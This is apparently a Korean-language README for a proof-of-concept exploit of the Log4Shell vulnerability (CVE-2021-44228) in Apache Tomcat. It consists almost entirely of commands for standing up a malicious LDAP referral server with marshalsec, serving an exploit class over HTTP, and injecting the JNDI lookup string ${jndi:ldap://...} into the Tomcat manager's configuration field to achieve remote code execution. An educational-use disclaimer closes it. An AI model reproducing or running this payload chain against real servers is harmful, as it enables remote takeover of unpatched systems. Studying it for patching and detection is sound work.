
Apache Tomcat에서의 Log4j2 CVE-2021-44228 취약점 POC

git clone
cd apache-tomcat-10.0.14/bin
startup.bat
cd exploit
py -m http.server 8888
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
http://localhost:8080/manager/html 관리자 앱에서 'XML 설정 파일 경로' 필드에 ${jndi:ldap://127.0.0.1:1389/Exploit} 입력
익스플로잇 클래스가 로드되어 RCE가 실행됩니다 (계산기 앱이 열림)
이 저장소는 교육 목적으로 만들어진 POC입니다. 저장소 소유자는 발생한 모든 손해에 대해 책임을 지지 않습니다. 도덕적인 참고사항으로, 악의적으로 사용하지 마세요.
LDAP 익스플로잇 https://github.com/mbechler/marshalsec